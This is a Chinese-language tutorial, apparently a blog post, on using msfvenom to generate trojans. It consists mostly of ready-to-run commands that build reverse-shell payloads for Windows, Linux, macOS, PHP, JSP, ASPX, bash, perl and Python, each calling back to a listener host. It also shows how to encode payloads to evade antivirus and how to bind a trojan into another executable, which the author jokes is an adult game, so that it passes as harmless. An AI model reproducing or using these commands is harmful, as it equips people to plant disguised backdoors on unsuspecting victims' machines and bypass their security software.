一. Msfvenom介绍

msfvenom 是 Metasploit 框架中的一个重要工具,用于生成各种类型的恶意代码和有效载荷。Metasploit 是一个开源的安全工具,用于开发、测试和执行各种网络安全攻击。它具有漏洞利用、渗透测试、漏洞研究等功能,可帮助安全专业人员评估系统的安全性。

msfvenom 允许用户生成定制的攻击载荷,这些载荷可以用于渗透测试、漏洞研究、脆弱性评估等目的。它可以生成各种操作系统平台和架构下的恶意代码,包括但不限于 Windows、Linux、macOS 等。用户可以根据需要选择不同的 payload 和格式,以便在目标系统上执行各种恶意操作。

这些恶意载荷可以用于测试系统安全性,验证防御机制的有效性,或者在合法的渗透测试环境中模拟攻击,从而帮助组织发现并修复潜在的安全问题。

他可以在MSF中或者MSF外使用

MSF外使用

MSF中使用

二. Msfvenom使用

1. 帮助

-h命令

可以看到有一堆命令

2. 输出文件格式

我们是要生成一个木马,使用-f可以设置生成啥木马

比如-f exe就可以生成exe的木马

这里会在下面的生成木马中具体用到

3. 文件输出

我们使用-o来输出一个木马文件,比如前面-f exe那么你输出的就应该是exe文件,也就是-f exe -o payload.exe,这样就会在当前目录生成木马。

当然你也可以使用路径-f exe -o /root/payload.exe,这样就可以在指定目录下生成木马。

这里会在下面的生成木马中具体用到

4. 添加载荷payload

msfvenom命令中的 -p 选项用于指定所生成 payload 的类型或模块。

一些常见的 payload 类型包括:

  • windows/meterpreter/reverse_tcp: 生成用于 Windows 系统的 Meterpreter 反向 shell payload,用于建立到 Metasploit 的反向连接。
  • linux/x86/meterpreter/reverse_tcp: 生成用于 Linux x86 系统的 Meterpreter 反向 shell payload。
  • windows/shell_reverse_tcp: 生成用于 Windows 系统的普通反向 shell payload。
  • php/meterpreter/reverse_tcp: 生成用于 PHP 环境的 Meterpreter 反向 shell payload。
  • 等等…

我们可以使用-p来为木马加载一个payload。这个payload就是MSF里的payload。

不过我们需要对paylaod进行设置,那么要设置啥呢?我们可以在MSF里看

这样就可以知道该paylaod具体要设置啥东西

当然MSF太麻烦了,我们可以使用--list-options来查看,即-p windows/meterpreter/reverse_tcp --list-options

可以看到,这里需要我们设置的是LHOST,使用命令-p windows/meterpreter/reverse_tcp LHOST=你设置的IP这样就成功的完整地设置了一个payload

这里会在下面的生成木马中具体用到

5. 生成简单木马

我们现在来尝试生成一个木马

生成木马需要知道这些东西,木马的payload,木马格式以及木马文件名,分别对应了-p-f-o命令

1
msfvenom -p 你要设置的payload payload的配置 -f 木马格式 -o 木马的名称

具体的一个简单木马生成命令就是这样的

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.200 -f exe -o payload.exe

木马格式为exe,文件名为payload.exe,木马使用的payload是windows/meterpreter/reverse_tcp,payload手动设置了LHOST=192.168.1.200其他默认

我们试试

木马生成成功

7. 木马编码混淆

有的时候,我们需要避免木马被查杀,所以需要对木马进行一些保护,比如编码的混淆

我们使用-e参数来指定编码器,比如-e x86/shikata_ga_naix86/shikata_ga_nai 编码器是一种常用的 polymorphic 编码器,用于混淆生成的 payload。

完整的木马生成命令就是

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.200 -e x86/shikata_ga_nai -f exe -o payload.exe

8. 木马架构选择

有的时候我们需要生成一个指定架构的木马,比如-a x86就是指定了x86架构。

不过这个命令需要与--platform一起用,这个命令是来指定平台的,也就是windows、Linux、android那些平台

那么这个命令就是这么用的-a x86 --platform windows,这样就指定是x86的windows平台的木马

完整的木马生成命令就是

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.200 -a x86 --platform windows -e x86/shikata_ga_nai -f exe -o payload.exe

9. 木马字符避免

有些字符可能会在传输或执行过程中引起问题或干扰,所以我们需要让木马中尽量的避免这些字符,我们可以使用-b参数,比如-b "\x00\x0a\x0d",这样就避免了NULL字符 (\x00)、换行字符 (\x0a) 和回车字符 (\x0d)。

完整的木马生成命令就是

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.200 -a x86 --platform windows -e x86/shikata_ga_nai -b "\x00\x0a\x0d" -f exe -o payload.exe

10. 木马捆绑

你们是否感觉直接明目张胆的发木马有点猖狂呢?msfvenom提供了一个-x | -k命令可以把木马嵌入到一个文件里,从而创建一个新的恶意文件。这对于隐藏恶意代码并绕过一些安全检测机制非常有用。

注意,这个命令实际上是这样的-x 要捆绑到哪个文件 -k,这个-x-k是一起的。

比如-x haha.exe -k,这样就把木马嵌入到haha.exe里了。

不过他是将木马嵌入到文件,然后重新输出一个文件的。比如这样-x haha.exe -k -f exe -o hack.exe

我们试试

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.200 -a x64 --platform windows -e x86/shikata_ga_nai -b "\x00\x0a\x0d" -x wall2.exe -k -f exe -o hack.exe

报错了,说架构不对……哦,这是x86架构,我设置的是x64……改一下

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.200 -a x86 --platform windows -e x86/shikata_ga_nai -b "\x00\x0a\x0d" -x wall2.exe -k -f exe -o hack.exe

ok,成功。

我这个其实是一个小黄油,嘿嘿嘿,操作空间挺大哈

那么是所有的文件都可以捆绑吗?我们在捆绑的时候,加入捆绑的是exe文件,那么我们输出的应该也是exe文件,不能说我们捆绑了一个exe文件,结果你给我输出个pdf,那成啥了。

也就是说,我们捆绑的文件格是和能够输出的文件挂钩的,支持输出啥文件,我们才可以捆绑啥文件。那么我们怎么知道他支持啥文件呢?往下看

11. 查看模块内容

上面可以看到,我们涉及到的东西挺多,主要就是payload、架构、输出文件格式和编码这些东西。那如果我们想换个编码、payload或者架构呢?我们不知道可以用啥,或者他支持啥,我们应该怎么查看呢?

这些内容其实是分模块的

  • formats: 支持的文件输出格式
  • encoders: 支持的编码
  • payloads: 所有的payload
  • platforms: 支持的架构

我们可以使用-l来查看他们,比如查看支持的编码,就是-l encoders

1
msfvenom -l encoders

1
msfvenom -l formats

1
msfvenom -l payloads

1
msfvenom -l platforms

12. 设置编码次数

我们可以设置生成 payload 时的编码迭代次数。编码迭代可以增加 payload 的隐蔽性,使其更难被检测和分析。

使用-i命令,比如-i 3,就是进行3次编码

完整的木马生成命令就是

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.200 -i 3 -a x86 --platform windows -e x86/shikata_ga_nai -b "\x00\x0a\x0d" -f exe -o payload.exe

三. Msfvenom命令实例

1. 普通生成

1
msfvenom –p windows/meterpreter/reverse_tcp –f exe –o C:\back.exe

2. 编码处理型

1
msfvenom –p windows/meterpreter/reverse_tcp –i 3 –e x86/shikata_ga_nai –f exe –o C:\back.exe

3. 捆绑

1
msfvenom –p windows/meterpreter/reverse_tcp –platform windows –a x86 –x C:\nomal.exe –k –f exe –o C:\shell.exe

4. Windows

1
2
3
Msfvenom –platform windows –a x86 –p windows/meterpreter/reverse_tcp –i 3 –e x86/shikata_ga_nai –f exe –o C:\back.exe

Msfvenom –platform windows –a x86 –p windows/x64/meterpreter/reverse_tcp –f exe –o C:\back.exe

5. Linux

1
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.200 LPORT=4444 -f elf > shell.elf

6. MAC

1
msfvenom -p osx/x86/shell_reverse_tcp LHOST=192.168.1.200 LPORT=4444 -f macho > shell.macho

7. PHP

1
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.200 LPORT=4444 -f raw > shell.php

8. Asp

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.200 LPORT=4444 -f aspx > shell.asp

9. Aspx

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.200 LPORT=4444 -f aspx > shell.aspx

10. JSP

1
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.200 LPORT=4444 -f raw > shell.jsp

11. War

1
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.200 LPORT=4444 -f war > shell.war

12. Bash

1
msfvenom -p cmd/unix/reverse_bash LHOST=192.168.1.200 LPORT=4444 -f raw > shell.sh

13. Perl

1
msfvenom -p cmd/unix/reverse_perl LHOST=192.168.1.200 LPORT=4444 -f raw > shell.pl

14. Python

1
msfvenom -p python/meterpreter/reverser_tcp LHOST=192.168.1.200 LPORT=4444 -f raw > shell.py

现阶段对于win下的后门,不免杀,不加上点手段,正常是木的用的,普通马逃不过安全软件的查杀.